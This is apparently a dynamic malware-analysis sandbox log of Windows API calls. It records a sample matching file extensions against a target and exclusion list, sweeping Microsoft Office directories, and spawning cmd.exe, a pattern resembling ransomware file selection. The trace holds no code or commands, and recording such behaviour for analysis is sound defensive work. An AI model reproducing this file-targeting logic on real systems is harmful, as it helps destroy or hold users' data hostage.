[0043.355] lstrlenW (lpString=".ps") returned 3 [0043.355] lstrcmpiW (lpString1=".ps", lpString2="cab") returned -1 [0043.355] lstrlenW (lpString=".psb") returned 4 [0043.355] lstrcmpiW (lpString1=".psb", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".psd") returned 4 [0043.355] lstrcmpiW (lpString1=".psd", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".pst") returned 4 [0043.355] lstrcmpiW (lpString1=".pst", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".ptx") returned 4 [0043.355] lstrcmpiW (lpString1=".ptx", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".pub") returned 4 [0043.355] lstrcmpiW (lpString1=".pub", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".pwm") returned 4 [0043.355] lstrcmpiW (lpString1=".pwm", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".pxr") returned 4 [0043.355] lstrcmpiW (lpString1=".pxr", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".py") returned 3 [0043.355] lstrcmpiW (lpString1=".py", lpString2="cab") returned -1 [0050.352] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.352] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0050.352] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0050.352] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0050.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.388] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.388] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0050.389] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.390] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40354e8 | out: hHeap=0x6c0000) returned 1 [0050.390] FindNextFileW (in: hFindFile=0x40021c8, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ccd00, ftCreationTime.dwHighDateTime=0x1cacf90, ftLastAccessTime.dwLowDateTime=0x6bf1cb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c5ccd00, ftLastWriteTime.dwHighDateTime=0x1cacf90, nFileSizeHigh=0x0, nFileSizeLow=0x208560, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0050.390] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.391] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.391] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0050.393] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.394] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40354e8 | out: hHeap=0x6c0000) returned 1 [0050.394] FindNextFileW (in: hFindFile=0x40021c8, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0050.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.395] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.395] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0050.397] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.398] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40354e8 | out: hHeap=0x6c0000) returned 1 [0050.398] FindNextFileW (in: hFindFile=0x40021c8, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd651f080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x755a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDSBASE.DLL", cAlternateFileName="")) returned 1 [0050.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.399] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.399] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0050.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002248 [0050.399] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.399] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0050.399] FindClose (in: hFindFile=0x4002248 | out: hFindFile=0x4002248) returned 1 [0050.399] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0050.399] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0050.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002248 [0050.399] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.399] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0050.400] FindClose (in: hFindFile=0x4002248 | out: hFindFile=0x4002248) returned 1 [0050.400] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0050.400] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0050.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002248 [0050.400] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.400] FindNextFileW (in: hFindFile=0x4002248, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0050.400] FindClose (in: hFindFile=0x4002248 | out: hFindFile=0x4002248) returned 1 [0050.400] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0050.400] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0050.401] FindClose (in: hFindFile=0x4002148 | out: hFindFile=0x4002148) returned 1 [0050.401] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40354e8 | out: hHeap=0x6c0000) returned 1 [0050.401] FindNextFileW (in: hFindFile=0x40021c8, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0050.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4002148 [0050.769] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.769] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0xca60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB10.BDR", cAlternateFileName="")) returned 1 [0060.230] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.231] FindNextFileW (in: hFindFile=0x4002308, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 Thread: id = 25 os_tid = 0xae4 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x77f3a000" os_pid = "0xa80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa70" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0xa84 [0042.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fdf0 | out: lpSystemTimeAsFileTime=0x25fdf0*(dwLowDateTime=0x9e19cd10, dwHighDateTime=0x1d595b2)) [0042.641] GetCurrentProcessId () returned 0xa80 [0042.641] GetCurrentThreadId () returned 0xa84 [0042.641] GetTickCount () returned 0x1145a51 [0042.641] QueryPerformanceCounter (in: lpPerformanceCount=0x25fdf8 | out: lpPerformanceCount=0x25fdf8*=16288760265) returned 1 [0042.642] GetModuleHandleW (lpModuleName=0x0) returned 0x4a070000 [0042.642] __set_app_type (_Type=0x1) [0042.642] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a097810) returned 0x0 [0042.642] __getmainargs (in: _Argc=0x4a0ba608, _Argv=0x4a0ba618, _Env=0x4a0ba610, _DoWildCard=0, _StartInfo=0x4a09e0f4 | out: _Argc=0x4a0ba608, _Argv=0x4a0ba618, _Env=0x4a0ba610) returned 0 [0042.642] GetCurrentThreadId () returned 0xa84 [0042.642] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa84) returned 0x3c [0042.643] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0042.643] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0042.643] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0042.643] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0042.643] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x25fd88 | out: phkResult=0x25fd88*=0x0) returned 0x2 [0042.643] VirtualQuery (in: lpAddress=0x25fd70, lpBuffer=0x25fcf0, dwLength=0x30 | out: lpBuffer=0x25fcf0*(BaseAddress=0x25f000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.643] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x25fcf0, dwLength=0x30 | out: lpBuffer=0x25fcf0*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.643] VirtualQuery (in: lpAddress=0x161000, lpBuffer=0x25fcf0, dwLength=0x30 | out: lpBuffer=0x25fcf0*(BaseAddress=0x161000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.643] VirtualQuery (in: lpAddress=0x164000, lpBuffer=0x25fcf0, dwLength=0x30 | out: lpBuffer=0x25fcf0*(BaseAddress=0x164000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.643] VirtualQuery (in: lpAddress=0x260000, lpBuffer=0x25fcf0, dwLength=0x30 | out: lpBuffer=0x25fcf0*(BaseAddress=0x260000, AllocationBase=0x260000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0042.644] GetConsoleOutputCP () returned 0x1b5 [0042.644] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0abfe0 | out: lpCPInfo=0x4a0abfe0) returned 1 [0042.644] SetConsoleCtrlHandler (HandlerRoutine=0x4a093184, Add=1) returned 1 [0042.644] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.644] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0042.644] _get_osfhandle (_FileHandle=1) returned 0xf4 [0042.644] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a09e194 | out: lpMode=0x4a09e194) returned 0 [0042.644] _get_osfhandle (_FileHandle=0) returned 0xe8 [0042.644] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a09e198 | out: lpMode=0x4a09e198) returned 0 [0042.644] GetEnvironmentStringsW () returned 0x3e8a60* [0042.645] GetProcessHeap () returned 0x3d0000 [0042.645] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xa7c) returned 0x3e94f0 [0042.645] FreeEnvironmentStringsW (penv=0x3e8a60) returned 1 [0042.645] GetProcessHeap () returned 0x3d0000 [0042.645] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x8) returned 0x3e88e0 [0042.645] GetEnvironmentStringsW () returned 0x3e8a60* [0042.645] GetProcessHeap () returned 0x3d0000 [0042.645] 